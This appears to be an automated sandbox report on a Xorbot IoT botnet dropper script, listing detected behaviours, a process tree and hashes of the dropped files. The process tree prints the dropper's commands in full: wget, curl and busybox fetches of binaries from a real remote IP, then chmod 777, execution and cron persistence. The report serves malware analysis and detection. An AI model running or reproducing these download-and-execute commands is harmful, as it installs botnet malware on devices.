Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    14/12/2024, 00:57

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1bf98ec0f208daadc02c99c268e05e7f

  • SHA1

    f01a22bc4e069c72bba4d5913a647460d229d3d6

  • SHA256

    c95b5862e15714e933d052115b87ebd97be2cd1b93584d18ad18a6f5956a1980

  • SHA512

    cb219a9dab360426b6d6f28536cebca78f1844a078f2e2d13ee20089cb4ab43663117aec5c486add778ac64f7d148f7044e70597122786c4cb0da4a8ca1b5508

  • SSDEEP

    192:ULUNp4xZUpmexeaW6dioIVNoIeJfNp4xZumexeaz:ULUNp4xZUC6dioIVNoIeJfNp4xZw

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2062) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 8 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:646
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:649
        • /usr/bin/wget
          wget http://37.44.238.68/bins/flFp11gOKS5O1KbuHBReEPxs9O6CXUsqN4
          2⤵
          • Writes file to tmp directory
          PID:651
        • /usr/bin/curl
          curl -O http://37.44.238.68/bins/flFp11gOKS5O1KbuHBReEPxs9O6CXUsqN4
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:664
        • /bin/busybox
          /bin/busybox wget http://37.44.238.68/bins/flFp11gOKS5O1KbuHBReEPxs9O6CXUsqN4
          2⤵
          • Writes file to tmp directory
          PID:673
        • /bin/chmod
          chmod 777 flFp11gOKS5O1KbuHBReEPxs9O6CXUsqN4
          2⤵
          • File and Directory Permissions Modification
          PID:677
        • /tmp/flFp11gOKS5O1KbuHBReEPxs9O6CXUsqN4
          ./flFp11gOKS5O1KbuHBReEPxs9O6CXUsqN4
          2⤵
          • Executes dropped EXE
          PID:678
        • /bin/rm
          rm flFp11gOKS5O1KbuHBReEPxs9O6CXUsqN4
          2⤵
            PID:681
          • /usr/bin/wget
            wget http://37.44.238.68/bins/NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB
            2⤵
            • Writes file to tmp directory
            PID:683
          • /usr/bin/curl
            curl -O http://37.44.238.68/bins/NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:685
          • /bin/busybox
            /bin/busybox wget http://37.44.238.68/bins/NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB
            2⤵
            • Writes file to tmp directory
            PID:686
          • /bin/chmod
            chmod 777 NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB
            2⤵
            • File and Directory Permissions Modification
            PID:687
          • /tmp/NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB
            ./NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB
            2⤵
            • Executes dropped EXE
            PID:688
          • /bin/rm
            rm NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB
            2⤵
              PID:690
            • /usr/bin/wget
              wget http://37.44.238.68/bins/h05dLumwbS5NIdaMUwe36sFjp7EsrqlZaX
              2⤵
              • Writes file to tmp directory
              PID:691
            • /usr/bin/curl
              curl -O http://37.44.238.68/bins/h05dLumwbS5NIdaMUwe36sFjp7EsrqlZaX
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:692
            • /bin/busybox
              /bin/busybox wget http://37.44.238.68/bins/h05dLumwbS5NIdaMUwe36sFjp7EsrqlZaX
              2⤵
              • Writes file to tmp directory
              PID:699
            • /bin/chmod
              chmod 777 h05dLumwbS5NIdaMUwe36sFjp7EsrqlZaX
              2⤵
              • File and Directory Permissions Modification
              PID:701
            • /tmp/h05dLumwbS5NIdaMUwe36sFjp7EsrqlZaX
              ./h05dLumwbS5NIdaMUwe36sFjp7EsrqlZaX
              2⤵
              • Executes dropped EXE
              PID:703
            • /bin/rm
              rm h05dLumwbS5NIdaMUwe36sFjp7EsrqlZaX
              2⤵
                PID:705
              • /usr/bin/wget
                wget http://37.44.238.68/bins/vvOzd21gp1VMiBa4WKG078qzhKaDahP2IQ
                2⤵
                • Writes file to tmp directory
                PID:706
              • /usr/bin/curl
                curl -O http://37.44.238.68/bins/vvOzd21gp1VMiBa4WKG078qzhKaDahP2IQ
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:711
              • /bin/busybox
                /bin/busybox wget http://37.44.238.68/bins/vvOzd21gp1VMiBa4WKG078qzhKaDahP2IQ
                2⤵
                • Writes file to tmp directory
                PID:718
              • /bin/chmod
                chmod 777 vvOzd21gp1VMiBa4WKG078qzhKaDahP2IQ
                2⤵
                • File and Directory Permissions Modification
                PID:722
              • /tmp/vvOzd21gp1VMiBa4WKG078qzhKaDahP2IQ
                ./vvOzd21gp1VMiBa4WKG078qzhKaDahP2IQ
                2⤵
                • Executes dropped EXE
                PID:723
              • /bin/rm
                rm vvOzd21gp1VMiBa4WKG078qzhKaDahP2IQ
                2⤵
                  PID:726
                • /usr/bin/wget
                  wget http://37.44.238.68/bins/4muyoQFtQu8OaZsYKV4wOsXp18QNsxRCaK
                  2⤵
                  • Writes file to tmp directory
                  PID:727
                • /usr/bin/curl
                  curl -O http://37.44.238.68/bins/4muyoQFtQu8OaZsYKV4wOsXp18QNsxRCaK
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:732
                • /bin/busybox
                  /bin/busybox wget http://37.44.238.68/bins/4muyoQFtQu8OaZsYKV4wOsXp18QNsxRCaK
                  2⤵
                  • Writes file to tmp directory
                  PID:738
                • /bin/chmod
                  chmod 777 4muyoQFtQu8OaZsYKV4wOsXp18QNsxRCaK
                  2⤵
                  • File and Directory Permissions Modification
                  PID:741
                • /tmp/4muyoQFtQu8OaZsYKV4wOsXp18QNsxRCaK
                  ./4muyoQFtQu8OaZsYKV4wOsXp18QNsxRCaK
                  2⤵
                  • Executes dropped EXE
                  PID:743
                • /bin/rm
                  rm 4muyoQFtQu8OaZsYKV4wOsXp18QNsxRCaK
                  2⤵
                    PID:746
                  • /usr/bin/wget
                    wget http://37.44.238.68/bins/XB2w65UX2spc41VXtkSIKUVvSevQ8Xdwna
                    2⤵
                    • Writes file to tmp directory
                    PID:747
                  • /usr/bin/curl
                    curl -O http://37.44.238.68/bins/XB2w65UX2spc41VXtkSIKUVvSevQ8Xdwna
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:753
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.68/bins/XB2w65UX2spc41VXtkSIKUVvSevQ8Xdwna
                    2⤵
                    • Writes file to tmp directory
                    PID:759
                  • /bin/chmod
                    chmod 777 XB2w65UX2spc41VXtkSIKUVvSevQ8Xdwna
                    2⤵
                    • File and Directory Permissions Modification
                    PID:760
                  • /tmp/XB2w65UX2spc41VXtkSIKUVvSevQ8Xdwna
                    ./XB2w65UX2spc41VXtkSIKUVvSevQ8Xdwna
                    2⤵
                    • Executes dropped EXE
                    PID:761
                  • /bin/rm
                    rm XB2w65UX2spc41VXtkSIKUVvSevQ8Xdwna
                    2⤵
                      PID:763
                    • /usr/bin/wget
                      wget http://37.44.238.68/bins/Wake0akS5YDwRPLvSs00q4FBgxENUSDEXt
                      2⤵
                      • Writes file to tmp directory
                      PID:764
                    • /usr/bin/curl
                      curl -O http://37.44.238.68/bins/Wake0akS5YDwRPLvSs00q4FBgxENUSDEXt
                      2⤵
                      • Checks CPU configuration
                      • Writes file to tmp directory
                      PID:765
                    • /bin/busybox
                      /bin/busybox wget http://37.44.238.68/bins/Wake0akS5YDwRPLvSs00q4FBgxENUSDEXt
                      2⤵
                      • Writes file to tmp directory
                      PID:766
                    • /bin/chmod
                      chmod 777 Wake0akS5YDwRPLvSs00q4FBgxENUSDEXt
                      2⤵
                      • File and Directory Permissions Modification
                      PID:769
                    • /tmp/Wake0akS5YDwRPLvSs00q4FBgxENUSDEXt
                      ./Wake0akS5YDwRPLvSs00q4FBgxENUSDEXt
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:770
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:772
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:774
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:776
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                • Reads runtime system information
                                PID:777
                          • /bin/rm
                            rm Wake0akS5YDwRPLvSs00q4FBgxENUSDEXt
                            2⤵
                              PID:793
                            • /usr/bin/wget
                              wget http://37.44.238.68/bins/J7EtA4xwYPkFgAs8grzV2fjNESmW3z4QHS
                              2⤵
                              • Writes file to tmp directory
                              PID:796
                            • /usr/bin/curl
                              curl -O http://37.44.238.68/bins/J7EtA4xwYPkFgAs8grzV2fjNESmW3z4QHS
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              PID:801
                            • /bin/busybox
                              /bin/busybox wget http://37.44.238.68/bins/J7EtA4xwYPkFgAs8grzV2fjNESmW3z4QHS
                              2⤵
                              • Writes file to tmp directory
                              PID:884
                            • /bin/chmod
                              chmod 777 J7EtA4xwYPkFgAs8grzV2fjNESmW3z4QHS
                              2⤵
                              • File and Directory Permissions Modification
                              PID:887
                            • /tmp/J7EtA4xwYPkFgAs8grzV2fjNESmW3z4QHS
                              ./J7EtA4xwYPkFgAs8grzV2fjNESmW3z4QHS
                              2⤵
                              • Executes dropped EXE
                              PID:888
                            • /bin/rm
                              rm J7EtA4xwYPkFgAs8grzV2fjNESmW3z4QHS
                              2⤵
                                PID:891
                              • /usr/bin/wget
                                wget http://37.44.238.68/bins/gi6WblNeroxM8zRmEE4C5eOVm3dXbGTx09
                                2⤵
                                • Writes file to tmp directory
                                PID:896

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/4muyoQFtQu8OaZsYKV4wOsXp18QNsxRCaK

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /tmp/NNliaHV8Ft3P36uFldntUIbhoxh0JUJHhB

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /tmp/Wake0akS5YDwRPLvSs00q4FBgxENUSDEXt

                              Filesize

                              177KB

                              MD5

                              786d75a158fe731feca3880f436082c0

                              SHA1

                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                              SHA256

                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                              SHA512

                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                            • /tmp/XB2w65UX2spc41VXtkSIKUVvSevQ8Xdwna

                              Filesize

                              122KB

                              MD5

                              cd3d4b9c643e5b473fb4d88ed05f0716

                              SHA1

                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                              SHA256

                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                              SHA512

                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                            • /tmp/flFp11gOKS5O1KbuHBReEPxs9O6CXUsqN4

                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            • /tmp/gi6WblNeroxM8zRmEE4C5eOVm3dXbGTx09

                              Filesize

                              12KB

                              MD5

                              3cfaa64bdaa9438f72c16541bf85734a

                              SHA1

                              eb3a85923f2b136dfbb1b005172eb875820273fe

                              SHA256

                              7bd142a99c100150689cc34d82fac36fefa3ac0041344568088603771f7af34f

                              SHA512

                              22b7f4992290d1b7686d3f5f3b8875ca75c88c381a2b3a24e60bc0bb9a537e00db91541761893c14282af9f9102c9ad68ca955fe49bef6c9071d4e6b22b00b66

                            • /tmp/h05dLumwbS5NIdaMUwe36sFjp7EsrqlZaX

                              Filesize

                              98KB

                              MD5

                              5141342d0df8699fa32a6b066a0c592e

                              SHA1

                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                              SHA256

                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                              SHA512

                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                            • /tmp/vvOzd21gp1VMiBa4WKG078qzhKaDahP2IQ

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /var/spool/cron/crontabs/tmp.v6K2tR

                              Filesize

                              210B

                              MD5

                              d241500a36bdff08eef36ae1821aba1a

                              SHA1

                              469c99a7d93e96cadbbbdeefd191f7a807aaead8

                              SHA256

                              f8261e694913a669b134ddfe4508d2544139870670dea60457e187555a9cacd3

                              SHA512

                              8ee38413739fc092cc855b113847a8a49a45070bb1e7a3aea9e6ec7f5e5c0fcfa7d4dc7f5dc4e7f20c9a9bcb89a5cd740dd02999047a8f401312acad28aad74a